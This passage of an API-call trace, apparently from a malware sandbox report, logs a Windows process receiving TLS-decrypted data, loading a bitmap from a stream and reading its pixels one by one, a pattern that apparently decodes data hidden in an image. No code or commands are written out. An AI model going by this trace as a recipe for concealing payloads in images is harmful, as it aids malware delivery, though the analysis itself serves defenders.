| out: buf=0x3239b89*) returned 1452 [0131.320] recv (in: s=0x4c8, buf=0x323a135, len=9584, flags=0 | out: buf=0x323a135*) returned 2904 [0131.321] recv (in: s=0x4c8, buf=0x323ac8d, len=6680, flags=0 | out: buf=0x323ac8d*) returned 6680 [0131.322] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323cf78, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323cf78, pfQOP=0x0) returned 0x0 [0131.323] recv (in: s=0x4c8, buf=0x3238680, len=5, flags=0 | out: buf=0x3238680*) returned 5 [0131.323] recv (in: s=0x4c8, buf=0x3238685, len=3648, flags=0 | out: buf=0x3238685*) returned 3648 [0131.323] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323d168, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323d168, pfQOP=0x0) returned 0x0 [0131.323] recv (in: s=0x4c8, buf=0x3238680, len=5, flags=0 | out: buf=0x3238680*) returned 5 [0131.323] recv (in: s=0x4c8, buf=0x3238685, len=16416, flags=0 | out: buf=0x3238685*) returned 2730 [0131.323] recv (in: s=0x4c8, buf=0x323912f, len=13686, flags=0 | out: buf=0x323912f*) returned 2904 [0131.324] recv (in: s=0x4c8, buf=0x3239c87, len=10782, flags=0 | out: buf=0x3239c87*) returned 1588 [0131.324] recv (in: s=0x4c8, buf=0x323a2bb, len=9194, flags=0 | out: buf=0x323a2bb*) returned 9194 [0131.533] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323d358, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323d358, pfQOP=0x0) returned 0x0 [0131.533] recv (in: s=0x4c8, buf=0x3238680, len=5, flags=0 | out: buf=0x3238680*) returned 5 [0131.533] recv (in: s=0x4c8, buf=0x3238685, len=3648, flags=0 | out: buf=0x3238685*) returned 3648 [0131.534] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323d548, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323d548, pfQOP=0x0) returned 0x0 [0131.534] recv (in: s=0x4c8, buf=0x3238680, len=5, flags=0 | out: buf=0x3238680*) returned 5 [0131.534] recv (in: s=0x4c8, buf=0x3238685, len=16416, flags=0 | out: buf=0x3238685*) returned 16416 [0131.534] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323d738, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323d738, pfQOP=0x0) returned 0x0 [0131.534] recv (in: s=0x4c8, buf=0x3238680, len=5, flags=0 | out: buf=0x3238680*) returned 5 [0131.534] recv (in: s=0x4c8, buf=0x3238685, len=3648, flags=0 | out: buf=0x3238685*) returned 3648 [0131.535] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323d928, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323d928, pfQOP=0x0) returned 0x0 [0131.535] recv (in: s=0x4c8, buf=0x3238680, len=5, flags=0 | out: buf=0x3238680*) returned 5 [0131.535] recv (in: s=0x4c8, buf=0x3238685, len=16416, flags=0 | out: buf=0x3238685*) returned 16416 [0131.535] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323db18, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323db18, pfQOP=0x0) returned 0x0 [0131.535] recv (in: s=0x4c8, buf=0x3238680, len=5, flags=0 | out: buf=0x3238680*) returned 5 [0131.535] recv (in: s=0x4c8, buf=0x3238685, len=3648, flags=0 | out: buf=0x3238685*) returned 3648 [0131.535] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323dd08, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323dd08, pfQOP=0x0) returned 0x0 [0131.535] recv (in: s=0x4c8, buf=0x3238680, len=5, flags=0 | out: buf=0x3238680*) returned 5 [0131.536] recv (in: s=0x4c8, buf=0x3238685, len=16416, flags=0 | out: buf=0x3238685*) returned 16416 [0131.536] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323def8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323def8, pfQOP=0x0) returned 0x0 [0131.537] recv (in: s=0x4c8, buf=0x3238680, len=5, flags=0 | out: buf=0x3238680*) returned 5 [0131.537] recv (in: s=0x4c8, buf=0x3238685, len=3648, flags=0 | out: buf=0x3238685*) returned 3648 [0131.537] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323e0e8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323e0e8, pfQOP=0x0) returned 0x0 [0131.537] recv (in: s=0x4c8, buf=0x3238680, len=5, flags=0 | out: buf=0x3238680*) returned 5 [0131.537] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323e2d8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323e2d8, pfQOP=0x0) returned 0x0 [0131.538] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323e4c8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323e4c8, pfQOP=0x0) returned 0x0 [0131.538] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323e6b8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323e6b8, pfQOP=0x0) returned 0x0 [0131.538] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323e8a8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323e8a8, pfQOP=0x0) returned 0x0 [0131.538] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323ea98, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323ea98, pfQOP=0x0) returned 0x0 [0131.555] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323ec88, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323ec88, pfQOP=0x0) returned 0x0 [0131.558] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323ee78, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323ee78, pfQOP=0x0) returned 0x0 [0131.559] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323f068, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323f068, pfQOP=0x0) returned 0x0 [0131.562] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323f258, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323f258, pfQOP=0x0) returned 0x0 [0131.567] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323f448, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323f448, pfQOP=0x0) returned 0x0 [0131.567] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323f638, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323f638, pfQOP=0x0) returned 0x0 [0131.568] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323f828, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323f828, pfQOP=0x0) returned 0x0 [0131.568] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323fa18, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323fa18, pfQOP=0x0) returned 0x0 [0131.569] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323fc08, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323fc08, pfQOP=0x0) returned 0x0 [0131.572] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323fdf8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323fdf8, pfQOP=0x0) returned 0x0 [0131.572] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x323ffe8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x323ffe8, pfQOP=0x0) returned 0x0 [0131.575] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32401d8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32401d8, pfQOP=0x0) returned 0x0 [0131.576] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32403c8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32403c8, pfQOP=0x0) returned 0x0 [0131.589] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32405b8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32405b8, pfQOP=0x0) returned 0x0 [0131.589] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32407a8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32407a8, pfQOP=0x0) returned 0x0 [0131.590] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3240998, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3240998, pfQOP=0x0) returned 0x0 [0131.590] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3240b88, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3240b88, pfQOP=0x0) returned 0x0 [0131.590] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3240d78, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3240d78, pfQOP=0x0) returned 0x0 [0131.591] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3240f68, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3240f68, pfQOP=0x0) returned 0x0 [0131.591] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3241158, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3241158, pfQOP=0x0) returned 0x0 [0131.596] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3241348, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3241348, pfQOP=0x0) returned 0x0 [0131.596] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3241538, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3241538, pfQOP=0x0) returned 0x0 [0131.597] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3241728, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3241728, pfQOP=0x0) returned 0x0 [0131.597] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3241918, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3241918, pfQOP=0x0) returned 0x0 [0131.597] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3241b08, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3241b08, pfQOP=0x0) returned 0x0 [0131.601] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3241cf8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3241cf8, pfQOP=0x0) returned 0x0 [0131.602] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3241ee8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3241ee8, pfQOP=0x0) returned 0x0 [0131.604] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32420d8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32420d8, pfQOP=0x0) returned 0x0 [0131.605] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32422c8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32422c8, pfQOP=0x0) returned 0x0 [0131.608] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32424b8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32424b8, pfQOP=0x0) returned 0x0 [0131.610] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x32426a8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x32426a8, pfQOP=0x0) returned 0x0 [0131.610] DecryptMessage (in: phContext=0x1c74c440, pMessage=0x3242898, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3242898, pfQOP=0x0) returned 0x0 [0131.644] AddAtomW (lpString="GDI+Atom_2908_1") returned 0xc000 [0131.647] GdiplusStartup (in: token=0x1c74bad8, input=0x1c74baf0, output=0x1c74bac8 | out: token=0x1c74bad8, output=0x1c74bac8) returned 0x0 [0131.666] GdipCreateBitmapFromStream (stream=0x39fea0, bitmap=0x1c74cba8) returned 0x0 [0131.680] GdipImageForceValidation (image=0x1c7b41a0) returned 0x0 [0131.692] GdipGetImageRawFormat (image=0x1c7b41a0, format=0x1c74ca60*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0131.804] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cd90) returned 0x0 [0131.806] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cd90) returned 0x0 [0131.806] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=0, y=0, color=0x1c74cdf0) returned 0x0 [0131.883] VarDecInt (in: pdecIn=0x1c74ceb0, pdecResult=0x1c74cee0 | out: pdecResult=0x1c74cee0) returned 0x0 [0131.897] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.898] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.898] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.898] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=1, y=0, color=0x1c74cf80) returned 0x0 [0131.898] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.899] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.899] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.899] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.899] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=2, y=0, color=0x1c74cf80) returned 0x0 [0131.899] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.900] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.900] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.900] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.900] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=3, y=0, color=0x1c74cf80) returned 0x0 [0131.900] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.900] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.900] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.901] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.901] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=4, y=0, color=0x1c74cf80) returned 0x0 [0131.901] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.901] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.901] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.901] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.902] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=5, y=0, color=0x1c74cf80) returned 0x0 [0131.902] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.902] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.902] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.902] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.902] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=6, y=0, color=0x1c74cf80) returned 0x0 [0131.903] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.903] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.903] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.903] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.903] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=7, y=0, color=0x1c74cf80) returned 0x0 [0131.903] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.903] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.903] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.904] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.904] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=8, y=0, color=0x1c74cf80) returned 0x0 [0131.904] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.904] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.904] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.904] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.904] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=9, y=0, color=0x1c74cf80) returned 0x0 [0131.906] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.906] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.906] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.906] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.906] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=10, y=0, color=0x1c74cf80) returned 0x0 [0131.907] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.907] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.907] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.907] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.907] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=11, y=0, color=0x1c74cf80) returned 0x0 [0131.907] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.907] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.907] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.908] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.908] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=12, y=0, color=0x1c74cf80) returned 0x0 [0131.908] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.908] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.908] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.908] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.908] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=13, y=0, color=0x1c74cf80) returned 0x0 [0131.909] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.909] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.909] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.909] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.909] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=14, y=0, color=0x1c74cf80) returned 0x0 [0131.909] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.909] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.910] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.910] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.910] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=15, y=0, color=0x1c74cf80) returned 0x0 [0131.910] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.910] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.910] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.910] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.910] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=16, y=0, color=0x1c74cf80) returned 0x0 [0131.911] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.911] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.911] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.911] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.911] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=17, y=0, color=0x1c74cf80) returned 0x0 [0131.911] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.911] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.911] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.911] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.911] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=18, y=0, color=0x1c74cf80) returned 0x0 [0131.911] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.911] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.911] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.911] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.912] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=19, y=0, color=0x1c74cf80) returned 0x0 [0131.912] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.912] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.912] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.912] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.912] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=20, y=0, color=0x1c74cf80) returned 0x0 [0131.912] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.912] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.912] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.912] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.912] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=21, y=0, color=0x1c74cf80) returned 0x0 [0131.912] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.912] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.912] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.912] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.912] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=22, y=0, color=0x1c74cf80) returned 0x0 [0131.913] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.913] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.913] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.913] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.913] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=23, y=0, color=0x1c74cf80) returned 0x0 [0131.913] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.913] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.913] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.913] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.913] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=24, y=0, color=0x1c74cf80) returned 0x0 [0131.913] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.913] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.913] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.913] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.913] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=25, y=0, color=0x1c74cf80) returned 0x0 [0131.913] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.914] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.914] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.914] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.914] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=26, y=0, color=0x1c74cf80) returned 0x0 [0131.914] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.914] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.914] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.914] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.914] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=27, y=0, color=0x1c74cf80) returned 0x0 [0131.914] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.914] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.914] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.914] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 0x0 [0131.914] GdipBitmapGetPixel (bitmap=0x1c7b41a0, x=28, y=0, color=0x1c74cf80) returned 0x0 [0131.914] VarDecInt (in: pdecIn=0x1c74d040, pdecResult=0x1c74d070 | out: pdecResult=0x1c74d070) returned 0x0 [0131.914] VarDecRound (in: pdecIn=0x1c74cf90, cDecimals=0, pdecResult=0x1c74cfd0 | out: pdecResult=0x1c74cfd0) returned 0x0 [0131.914] GdipGetImageWidth (image=0x1c7b41a0, width=0x1c74cf20) returned 0x0 [0131.914] GdipGetImageHeight (image=0x1c7b41a0, height=0x1c74cf20) returned 